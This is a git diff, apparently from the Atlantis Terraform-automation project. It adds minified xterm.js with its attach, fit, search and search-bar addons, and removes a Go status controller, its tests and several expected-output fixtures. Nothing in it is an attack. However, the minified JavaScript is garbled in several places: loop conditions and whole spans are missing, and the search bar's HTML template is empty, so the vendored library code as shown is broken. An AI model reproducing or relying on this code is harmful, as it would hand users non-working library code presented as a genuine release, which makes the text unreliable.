i=e.lines.indexOf(t);-1!==i&&(e.lines.splice(i,1),0===e.lines.length&&(void 0!==e.data.id&&this._entriesWithId.delete(e.key),this._dataByLinkId.delete(e.id)))}};t.OscLinkService=o=s([r(0,n.IBufferService)],o)},8343:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.createDecorator=t.getServiceDependencies=t.serviceRegistry=void 0;const i="di$target",s="di$dependencies";t.serviceRegistry=new Map,t.getServiceDependencies=function(e){return e[s]||[]},t.createDecorator=function(e){if(t.serviceRegistry.has(e))return t.serviceRegistry.get(e);const r=function(e,t,n){if(3!==arguments.length)throw new Error("@IServiceName-decorator can only be used to decorate a parameter");!function(e,t,r){t[i]===t?t[s].push({id:e,index:r}):(t[s]=[{id:e,index:r}],t[i]=t)}(r,e,n)};return r.toString=()=>e,t.serviceRegistry.set(e,r),r}},2585:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IDecorationService=t.IUnicodeService=t.IOscLinkService=t.IOptionsService=t.ILogService=t.LogLevelEnum=t.IInstantiationService=t.ICharsetService=t.ICoreService=t.ICoreMouseService=t.IBufferService=void 0;const s=i(8343);var r;t.IBufferService=(0,s.createDecorator)("BufferService"),t.ICoreMouseService=(0,s.createDecorator)("CoreMouseService"),t.ICoreService=(0,s.createDecorator)("CoreService"),t.ICharsetService=(0,s.createDecorator)("CharsetService"),t.IInstantiationService=(0,s.createDecorator)("InstantiationService"),function(e){e[e.TRACE=0]="TRACE",e[e.DEBUG=1]="DEBUG",e[e.INFO=2]="INFO",e[e.WARN=3]="WARN",e[e.ERROR=4]="ERROR",e[e.OFF=5]="OFF"}(r||(t.LogLevelEnum=r={})),t.ILogService=(0,s.createDecorator)("LogService"),t.IOptionsService=(0,s.createDecorator)("OptionsService"),t.IOscLinkService=(0,s.createDecorator)("OscLinkService"),t.IUnicodeService=(0,s.createDecorator)("UnicodeService"),t.IDecorationService=(0,s.createDecorator)("DecorationService")},1480:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeService=void 0;const s=i(8460),r=i(225);t.UnicodeService=class{constructor(){this._providers=Object.create(null),this._active="",this._onChange=new s.EventEmitter,this.onChange=this._onChange.event;const e=new r.UnicodeV6;this.register(e),this._active=e.version,this._activeProvider=e}dispose(){this._onChange.dispose()}get versions(){return Object.keys(this._providers)}get activeVersion(){return this._active}set activeVersion(e){if(!this._providers[e])throw new Error(`unknown Unicode version "${e}"`);this._active=e,this._activeProvider=this._providers[e],this._onChange.fire(e)}register(e){this._providers[e.version]=e}wcwidth(e){return this._activeProvider.wcwidth(e)}getStringCellWidth(e){let t=0;const i=e.length;for(let s=0;s=i)return t+this.wcwidth(r);const n=e.charCodeAt(s);56320<=n&&n<=57343?r=1024*(r-55296)+n-56320+65536:t+=this.wcwidth(n)}t+=this.wcwidth(r)}return t}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={exports:{}};return e[s].call(n.exports,n,n.exports,i),n.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.Terminal=void 0;const t=i(9042),r=i(3236),n=i(844),o=i(5741),a=i(8285),h=i(7975),c=i(7090),l=["cols","rows"];class d extends n.Disposable{constructor(e){super(),this._core=this.register(new r.Terminal(e)),this._addonManager=this.register(new o.AddonManager),this._publicOptions=Object.assign({},this._core.options);const t=e=>this._core.options[e],i=(e,t)=>{this._checkReadonlyOptions(e),this._core.options[e]=t};for(const e in this._core.options){const s={get:t.bind(this,e),set:i.bind(this,e)};Object.defineProperty(this._publicOptions,e,s)}}_checkReadonlyOptions(e){if(l.includes(e))throw new Error(`Option "${e}" can only be set in the constructor`)}_checkProposedApi(){if(!this._core.optionsService.rawOptions.allowProposedApi)throw new Error("You must set the allowProposedApi option to true to use proposed API")}get onBell(){return this._core.onBell}get onBinary(){return this._core.onBinary}get onCursorMove(){return this._core.onCursorMove}get onData(){return this._core.onData}get onKey(){return this._core.onKey}get onLineFeed(){return this._core.onLineFeed}get onRender(){return this._core.onRender}get onResize(){return this._core.onResize}get onScroll(){return this._core.onScroll}get onSelectionChange(){return this._core.onSelectionChange}get onTitleChange(){return this._core.onTitleChange}get onWriteParsed(){return this._core.onWriteParsed}get element(){return this._core.element}get parser(){return this._parser||(this._parser=new h.ParserApi(this._core)),this._parser}get unicode(){return this._checkProposedApi(),new c.UnicodeApi(this._core)}get textarea(){return this._core.textarea}get rows(){return this._core.rows}get cols(){return this._core.cols}get buffer(){return this._buffer||(this._buffer=this.register(new a.BufferNamespaceApi(this._core))),this._buffer}get markers(){return this._checkProposedApi(),this._core.markers}get modes(){const e=this._core.coreService.decPrivateModes;let t="none";switch(this._core.coreMouseService.activeProtocol){case"X10":t="x10";break;case"VT200":t="vt200";break;case"DRAG":t="drag";break;case"ANY":t="any"}return{applicationCursorKeysMode:e.applicationCursorKeys,applicationKeypadMode:e.applicationKeypad,bracketedPasteMode:e.bracketedPasteMode,insertMode:this._core.coreService.modes.insertMode,mouseTrackingMode:t,originMode:e.origin,reverseWraparoundMode:e.reverseWraparound,sendFocusMode:e.sendFocus,wraparoundMode:e.wraparound}}get options(){return this._publicOptions}set options(e){for(const t in e)this._publicOptions[t]=e[t]}blur(){this._core.blur()}focus(){this._core.focus()}resize(e,t){this._verifyIntegers(e,t),this._core.resize(e,t)}open(e){this._core.open(e)}attachCustomKeyEventHandler(e){this._core.attachCustomKeyEventHandler(e)}registerLinkProvider(e){return this._core.registerLinkProvider(e)}registerCharacterJoiner(e){return this._checkProposedApi(),this._core.registerCharacterJoiner(e)}deregisterCharacterJoiner(e){this._checkProposedApi(),this._core.deregisterCharacterJoiner(e)}registerMarker(e=0){return this._verifyIntegers(e),this._core.registerMarker(e)}registerDecoration(e){var t,i,s;return this._checkProposedApi(),this._verifyPositiveIntegers(null!==(t=e.x)&&void 0!==t?t:0,null!==(i=e.width)&&void 0!==i?i:0,null!==(s=e.height)&&void 0!==s?s:0),this._core.registerDecoration(e)}hasSelection(){return this._core.hasSelection()}select(e,t,i){this._verifyIntegers(e,t,i),this._core.select(e,t,i)}getSelection(){return this._core.getSelection()}getSelectionPosition(){return this._core.getSelectionPosition()}clearSelection(){this._core.clearSelection()}selectAll(){this._core.selectAll()}selectLines(e,t){this._verifyIntegers(e,t),this._core.selectLines(e,t)}dispose(){super.dispose()}scrollLines(e){this._verifyIntegers(e),this._core.scrollLines(e)}scrollPages(e){this._verifyIntegers(e),this._core.scrollPages(e)}scrollToTop(){this._core.scrollToTop()}scrollToBottom(){this._core.scrollToBottom()}scrollToLine(e){this._verifyIntegers(e),this._core.scrollToLine(e)}clear(){this._core.clear()}write(e,t){this._core.write(e,t)}writeln(e,t){this._core.write(e),this._core.write("\r\n",t)}paste(e){this._core.paste(e)}refresh(e,t){this._verifyIntegers(e,t),this._core.refresh(e,t)}reset(){this._core.reset()}clearTextureAtlas(){this._core.clearTextureAtlas()}loadAddon(e){this._addonManager.loadAddon(this,e)}static get strings(){return t}_verifyIntegers(...e){for(const t of e)if(t===1/0||isNaN(t)||t%1!=0)throw new Error("This API only accepts integers")}_verifyPositiveIntegers(...e){for(const t of e)if(t&&(t===1/0||isNaN(t)||t%1!=0||t<0))throw new Error("This API only accepts positive integers")}}e.Terminal=d})(),s})())); +//# sourceMappingURL=xterm.js.map \ No newline at end of file diff --git a/server/static/js/xterm-addon-attach-0.9.0.js b/server/static/js/xterm-addon-attach-0.9.0.js new file mode 100644 index 0000000000..8d6a4460a6 --- /dev/null +++ b/server/static/js/xterm-addon-attach-0.9.0.js @@ -0,0 +1,2 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AttachAddon=t():e.AttachAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;function s(e,t,s){return e.addEventListener(t,s),{dispose:()=>{s&&e.removeEventListener(t,s)}}}Object.defineProperty(t,"__esModule",{value:!0}),t.AttachAddon=void 0,t.AttachAddon=class{constructor(e,t){this._disposables=[],this._socket=e,this._socket.binaryType="arraybuffer",this._bidirectional=!(t&&!1===t.bidirectional)}activate(e){this._disposables.push(s(this._socket,"message",(t=>{const s=t.data;e.write("string"==typeof s?s:new Uint8Array(s))}))),this._bidirectional&&(this._disposables.push(e.onData((e=>this._sendData(e)))),this._disposables.push(e.onBinary((e=>this._sendBinary(e))))),this._disposables.push(s(this._socket,"close",(()=>this.dispose()))),this._disposables.push(s(this._socket,"error",(()=>this.dispose())))}dispose(){for(const e of this._disposables)e.dispose()}_sendData(e){this._checkOpenSocket()&&this._socket.send(e)}_sendBinary(e){if(!this._checkOpenSocket())return;const t=new Uint8Array(e.length);for(let s=0;s(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})())); +//# sourceMappingURL=xterm-addon-fit.js.map \ No newline at end of file diff --git a/server/static/js/xterm-addon-search-0.13.0.js b/server/static/js/xterm-addon-search-0.13.0.js new file mode 100644 index 0000000000..b29ff736c7 --- /dev/null +++ b/server/static/js/xterm-addon-search-0.13.0.js @@ -0,0 +1,2 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.SearchAddon=t():e.SearchAddon=t()}(self,(()=>(()=>{"use strict";var e={345:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;tt.fire(e)))}},859:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,"__esModule",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var o=t[s]={exports:{}};return e[s](o,o.exports,i),o.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.SearchAddon=void 0;const t=i(345),r=i(859),o=" ~!@#$%^&*()+`-=[]{}|\\;:\"',./<>?";class n extends r.Disposable{constructor(e){var i;super(),this._highlightedLines=new Set,this._highlightDecorations=[],this._selectedDecoration=this.register(new r.MutableDisposable),this._linesCacheTimeoutId=0,this._onDidChangeResults=this.register(new t.EventEmitter),this.onDidChangeResults=this._onDidChangeResults.event,this._highlightLimit=null!==(i=null==e?void 0:e.highlightLimit)&&void 0!==i?i:1e3}activate(e){this._terminal=e,this.register(this._terminal.onWriteParsed((()=>this._updateMatches()))),this.register(this._terminal.onResize((()=>this._updateMatches()))),this.register((0,r.toDisposable)((()=>this.clearDecorations())))}_updateMatches(){var e;this._highlightTimeout&&window.clearTimeout(this._highlightTimeout),this._cachedSearchTerm&&(null===(e=this._lastSearchOptions)||void 0===e?void 0:e.decorations)&&(this._highlightTimeout=setTimeout((()=>{const e=this._cachedSearchTerm;this._cachedSearchTerm=void 0,this.findPrevious(e,Object.assign(Object.assign({},this._lastSearchOptions),{incremental:!0,noScroll:!0}))}),200))}clearDecorations(e){this._selectedDecoration.clear(),(0,r.disposeArray)(this._highlightDecorations),this._highlightDecorations=[],this._highlightedLines.clear(),e||(this._cachedSearchTerm=void 0)}findNext(e,t){if(!this._terminal)throw new Error("Cannot use addon until it has been loaded");this._lastSearchOptions=t,(null==t?void 0:t.decorations)&&(void 0!==this._cachedSearchTerm&&e===this._cachedSearchTerm||this._highlightAllMatches(e,t));const i=this._findNextAndSelect(e,t);return this._fireResults(t),this._cachedSearchTerm=e,i}_highlightAllMatches(e,t){if(!this._terminal)throw new Error("Cannot use addon until it has been loaded");if(!e||0===e.length)return void this.clearDecorations();t=t||{},this.clearDecorations(!0);const i=[];let s,r=this._find(e,0,0,t);for(;r&&((null==s?void 0:s.row)!==r.row||(null==s?void 0:s.col)!==r.col)&&!(i.length>=this._highlightLimit);)s=r,i.push(s),r=this._find(e,s.col+s.term.length>=this._terminal.cols?s.row+1:s.row,s.col+s.term.length>=this._terminal.cols?0:s.col+1,t);for(const e of i){const i=this._createResultDecoration(e,t.decorations);i&&(this._highlightedLines.add(i.marker.line),this._highlightDecorations.push({decoration:i,match:e,dispose(){i.dispose()}}))}}_find(e,t,i,s){var r;if(!this._terminal||!e||0===e.length)return null===(r=this._terminal)||void 0===r||r.clearSelection(),void this.clearDecorations();if(i>this._terminal.cols)throw new Error(`Invalid col: ${i} to search in terminal of ${this._terminal.cols} cols`);let o;this._initLinesCache();const n={startRow:t,startCol:i};if(o=this._findInLine(e,n,s),!o)for(let i=t+1;i=0&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);}if(!h&&r!==this._terminal.buffer.active.baseY+this._terminal.rows-1)for(let i=this._terminal.buffer.active.baseY+this._terminal.rows-1;i>=r&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);return this._selectResult(h,null==t?void 0:t.decorations,null==t?void 0:t.noScroll)}_initLinesCache(){const e=this._terminal;this._linesCache||(this._linesCache=new Array(e.buffer.active.length),this._cursorMoveListener=e.onCursorMove((()=>this._destroyLinesCache())),this._resizeListener=e.onResize((()=>this._destroyLinesCache()))),window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=window.setTimeout((()=>this._destroyLinesCache()),15e3)}_destroyLinesCache(){this._linesCache=void 0,this._cursorMoveListener&&(this._cursorMoveListener.dispose(),this._cursorMoveListener=void 0),this._resizeListener&&(this._resizeListener.dispose(),this._resizeListener=void 0),this._linesCacheTimeoutId&&(window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=0)}_isWholeWord(e,t,i){return(0===e||o.includes(t[e-1]))&&(e+i.length===t.length||o.includes(t[e+i.length]))}_findInLine(e,t,i={},s=!1){var r;const o=this._terminal,n=t.startRow,l=t.startCol,h=o.buffer.active.getLine(n);if(null==h?void 0:h.isWrapped)return s?void(t.startCol+=o.cols):(t.startRow--,t.startCol+=o.cols,this._findInLine(e,t,i));let a=null===(r=this._linesCache)||void 0===r?void 0:r[n];a||(a=this._translateBufferLineToStringWithWrap(n,!0),this._linesCache&&(this._linesCache[n]=a));const[c,d]=a,_=this._bufferColsToStringOffset(n,l),u=i.caseSensitive?e:e.toLowerCase(),f=i.caseSensitive?c:c.toLowerCase();let g=-1;if(i.regex){const t=RegExp(u,"g");let i;if(s)for(;i=t.exec(f.slice(0,_));)g=t.lastIndex-i[0].length,e=i[0],t.lastIndex-=e.length-1;else i=t.exec(f.slice(_)),i&&i[0].length>0&&(g=_+(t.lastIndex-i[0].length),e=i[0])}else s?_-u.length>=0&&(g=f.lastIndexOf(u,_-u.length)):g=f.indexOf(u,_);if(g>=0){if(i.wholeWord&&!this._isWholeWord(g,f,e))return;let t=0;for(;t=d[t+1];)t++;let s=t;for(;s=d[s+1];)s++;const r=g-d[t],l=g+e.length-d[s],h=this._stringLengthToBufferSize(n+t,r);return{term:e,col:h,row:n+t,size:this._stringLengthToBufferSize(n+s,l)-h+o.cols*(s-t)}}}_stringLengthToBufferSize(e,t){const i=this._terminal.buffer.active.getLine(e);if(!i)return 0;for(let e=0;e1&&(t-=r.length-1);const o=i.getCell(e+1);o&&0===o.getWidth()&&t++}return t}_bufferColsToStringOffset(e,t){const i=this._terminal;let s=e,r=0,o=i.buffer.active.getLine(s);for(;t>0&&o;){for(let e=0;ethis._applyStyles(e,t.activeMatchBorder,!0)))),s.push(o.onDispose((()=>(0,r.disposeArray)(s)))),this._selectedDecoration.value={decoration:o,match:e,dispose(){o.dispose()}}}}}if(!i&&(e.row>=s.buffer.active.viewportY+s.rows||e.rowthis._applyStyles(e,t.matchBorder,!1)))),e.push(o.onDispose((()=>(0,r.disposeArray)(e))))}return o}}e.SearchAddon=n})(),s})())); +//# sourceMappingURL=xterm-addon-search.js.map \ No newline at end of file diff --git a/server/static/js/xterm-addon-search-bar.js b/server/static/js/xterm-addon-search-bar.js new file mode 100644 index 0000000000..56e9be7f72 --- /dev/null +++ b/server/static/js/xterm-addon-search-bar.js @@ -0,0 +1,114 @@ +!(function (e, t) { + "object" == typeof exports && "undefined" != typeof module + ? t(exports) + : "function" == typeof define && define.amd + ? define(["exports"], t) + : t((e.SearchBarAddon = {})); +})(this, function (e) { + "use strict"; + !(function (e, t) { + void 0 === t && (t = {}); + var a = t.insertAt; + if (e && "undefined" != typeof document) { + var i = document.head || document.getElementsByTagName("head")[0], + n = document.createElement("style"); + (n.type = "text/css"), + "top" === a && i.firstChild + ? i.insertBefore(n, i.firstChild) + : i.appendChild(n), + n.styleSheet + ? (n.styleSheet.cssText = e) + : n.appendChild(document.createTextNode(e)); + } + })( + `.xterm-search-bar__addon{position:absolute;max-width:1467px;top:0;right:28px;color:#000;background:#fff; + padding:5px 10px;box-shadow:0 2px 8px #000;background-color:#252526;z-index:999;display:flex}.xterm-search-bar__addon + .search-bar__input{background-color:#3c3c3c;color:#ccc;border:0;margin-bottom:0px;padding:2px;height:20px;width:227px}.xterm-search-bar__addon + .search-bar__btn{min-width:20px;width:20px;height:20px;display:flex;display:-webkit-flex;flex:initial;background-position:50%; + margin-left:3px;margin-bottom:0px;background-repeat:no-repeat;background-color:#252526;border:0;cursor:pointer;padding: 0}.xterm-search-bar__addon + .search-bar__btn:hover{background-color:#666}.xterm-search-bar__addon .search-bar__btn.prev{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTUuNCA4YS42LjYgMCAwMS4xNzYtLjQyNGw0LTRhLjU5OC41OTggMCAwMS44NDggMCAuNTk4LjU5OCAwIDAxMCAuODQ4TDYuODQ5IDhsMy41NzUgMy41NzZhLjU5OC41OTggMCAwMTAgLjg0OC41OTguNTk4IDAgMDEtLjg0OCAwbC00LTRBLjYuNiAwIDAxNS40IDgiLz48L3N2Zz4=")}.xterm-search-bar__addon + .search-bar__btn.next{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTEwLjYgOGEuNi42IDAgMDEtLjE3Ni40MjRsLTQgNGEuNTk4LjU5OCAwIDAxLS44NDggMCAuNTk4LjU5OCAwIDAxMC0uODQ4TDkuMTUxIDggNS41NzYgNC40MjRhLjU5OC41OTggMCAwMTAtLjg0OC41OTguNTk4IDAgMDEuODQ4IDBsNCA0QS42LjYgMCAwMTEwLjYgOCIvPjwvc3ZnPg==")}.xterm-search-bar__addon + .search-bar__btn.close{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxMiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTcgNmwyLTJhLjcxMS43MTEgMCAwMDAtMSAuNzExLjcxMSAwIDAwLTEgMEw2IDUgNCAzYS43MTEuNzExIDAgMDAtMSAwIC43MTEuNzExIDAgMDAwIDFsMiAyLTIgMmEuNzExLjcxMSAwIDAwMCAxIC43MTEuNzExIDAgMDAxIDBsMi0yIDIgMmEuNzExLjcxMSAwIDAwMSAwIC43MTEuNzExIDAgMDAwLTFMNyA2eiIvPjwvc3ZnPg==")}` + ); + const t = "xterm-search-bar__addon"; + (e.SearchBarAddon = class { + constructor(e) { + (this.options = e || {}), + this.options && + this.options.searchAddon && + (this.searchAddon = this.options.searchAddon); + } + activate(e) { + (this.terminal = e), this.searchAddon; + } + dispose() { + this.hidden(); + } + show() { + if (!this.terminal || !this.terminal.element) return; + if (this.searchBarElement) + return ( + (this.searchBarElement.style.visibility = "visible"), + void this.searchBarElement.querySelector("input").select() + ); + this.terminal.element.style.position = "relative"; + const e = document.createElement("div"); + (e.innerHTML = + ` + + + `), + (e.className = t); + const a = this.terminal.element.parentElement; + (this.searchBarElement = e), +/* ["relative", "absolute", "fixed"].includes(a.style.position) || + (a.style.position = "relative"),*/ + a.appendChild(this.searchBarElement), + this.on(".search-bar__btn.close", "click", () => { + this.hidden(); + }), + this.on(".search-bar__btn.next", "click", () => { + this.searchAddon.findNext(this.searchKey, { incremental: !1 }); + }), + this.on(".search-bar__btn.prev", "click", () => { + this.searchAddon.findPrevious(this.searchKey, { incremental: !1 }); + }), + this.on(".search-bar__input", "keyup", (e) => { + (this.searchKey = e.target.value), + this.searchAddon.findNext(this.searchKey, { + incremental: "Enter" !== e.key, + }); + }), + this.searchBarElement.querySelector("input").select(); + } + hidden() { + this.searchBarElement && + this.terminal.element.parentElement && + (this.searchBarElement.style.visibility = "hidden"); + } + on(e, t, a) { + const i = this.terminal.element.parentElement; + i.addEventListener(t, (t) => { + let n = t.target; + for (; n !== document.querySelector(e); ) { + if (n === i) { + n = null; + break; + } + n = n.parentElement; + } + n === document.querySelector(e) && + (a.call(this, t), t.stopPropagation()); + }); + } + addNewStyle(e) { + let a = document.getElementById(t); + a || + (((a = document.createElement("style")).type = "text/css"), + (a.id = t), + document.getElementsByTagName("head")[0].appendChild(a)), + a.appendChild(document.createTextNode(e)); + } + }), + Object.defineProperty(e, "__esModule", { value: !0 }); +}); diff --git a/server/status_controller.go b/server/status_controller.go deleted file mode 100644 index 7add516714..0000000000 --- a/server/status_controller.go +++ /dev/null @@ -1,37 +0,0 @@ -package server - -import ( - "encoding/json" - "fmt" - "net/http" - - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/logging" -) - -// StatusController handles the status of Atlantis. -type StatusController struct { - Logger *logging.SimpleLogger - Drainer *events.Drainer -} - -type StatusResponse struct { - ShuttingDown bool `json:"shutting_down"` - InProgressOps int `json:"in_progress_operations"` -} - -// Get is the GET /status route. -func (d *StatusController) Get(w http.ResponseWriter, r *http.Request) { - status := d.Drainer.GetStatus() - data, err := json.MarshalIndent(&StatusResponse{ - ShuttingDown: status.ShuttingDown, - InProgressOps: status.InProgressOps, - }, "", " ") - if err != nil { - w.WriteHeader(http.StatusInternalServerError) - fmt.Fprintf(w, "Error creating status json response: %s", err) - return - } - w.Header().Set("Content-Type", "application/json") - w.Write(data) // nolint: errcheck -} diff --git a/server/status_controller_test.go b/server/status_controller_test.go deleted file mode 100644 index 9ad3a4fc44..0000000000 --- a/server/status_controller_test.go +++ /dev/null @@ -1,82 +0,0 @@ -package server_test - -import ( - "bytes" - "encoding/json" - "io/ioutil" - "net/http" - "net/http/httptest" - "testing" - - "github.com/runatlantis/atlantis/server" - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestStatusController_Startup(t *testing.T) { - logger := logging.NewNoopLogger() - r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - dr := &events.Drainer{} - d := &server.StatusController{ - Logger: logger, - Drainer: dr, - } - d.Get(w, r) - - var result server.StatusResponse - body, err := ioutil.ReadAll(w.Result().Body) - Ok(t, err) - Equals(t, 200, w.Result().StatusCode) - err = json.Unmarshal(body, &result) - Ok(t, err) - Equals(t, false, result.ShuttingDown) - Equals(t, 0, result.InProgressOps) -} - -func TestStatusController_InProgress(t *testing.T) { - logger := logging.NewNoopLogger() - r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - dr := &events.Drainer{} - dr.StartOp() - - d := &server.StatusController{ - Logger: logger, - Drainer: dr, - } - d.Get(w, r) - - var result server.StatusResponse - body, err := ioutil.ReadAll(w.Result().Body) - Ok(t, err) - Equals(t, 200, w.Result().StatusCode) - err = json.Unmarshal(body, &result) - Ok(t, err) - Equals(t, false, result.ShuttingDown) - Equals(t, 1, result.InProgressOps) -} - -func TestStatusController_Shutdown(t *testing.T) { - logger := logging.NewNoopLogger() - r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - dr := &events.Drainer{} - dr.ShutdownBlocking() - - d := &server.StatusController{ - Logger: logger, - Drainer: dr, - } - d.Get(w, r) - - var result server.StatusResponse - body, err := ioutil.ReadAll(w.Result().Body) - Ok(t, err) - Equals(t, 200, w.Result().StatusCode) - err = json.Unmarshal(body, &result) - Ok(t, err) - Equals(t, true, result.ShuttingDown) - Equals(t, 0, result.InProgressOps) -} diff --git a/server/testfixtures/test-repos/automerge/exp-output-apply-dir1.txt b/server/testfixtures/test-repos/automerge/exp-output-apply-dir1.txt deleted file mode 100644 index bae9bd1d09..0000000000 --- a/server/testfixtures/test-repos/automerge/exp-output-apply-dir1.txt +++ /dev/null @@ -1,17 +0,0 @@ -Ran Apply for dir: `dir1` workspace: `default` - -```diff -null_resource.automerge[0]: Creating... -null_resource.automerge[0]: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -``` - diff --git a/server/testfixtures/test-repos/automerge/exp-output-apply-dir2.txt b/server/testfixtures/test-repos/automerge/exp-output-apply-dir2.txt deleted file mode 100644 index d6039490dc..0000000000 --- a/server/testfixtures/test-repos/automerge/exp-output-apply-dir2.txt +++ /dev/null @@ -1,17 +0,0 @@ -Ran Apply for dir: `dir2` workspace: `default` - -```diff -null_resource.automerge[0]: Creating... -null_resource.automerge[0]: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -``` - diff --git a/server/testfixtures/test-repos/automerge/exp-output-autoplan.txt b/server/testfixtures/test-repos/automerge/exp-output-autoplan.txt deleted file mode 100644 index 9517ae553c..0000000000 --- a/server/testfixtures/test-repos/automerge/exp-output-autoplan.txt +++ /dev/null @@ -1,65 +0,0 @@ -Ran Plan for 2 projects: - -1. dir: `dir1` workspace: `default` -1. dir: `dir2` workspace: `default` - -### 1. dir: `dir1` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.automerge[0] will be created -+ resource "null_resource" "automerge" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d dir1` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d dir1` -
- ---- -### 2. dir: `dir2` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.automerge[0] will be created -+ resource "null_resource" "automerge" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d dir2` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d dir2` -
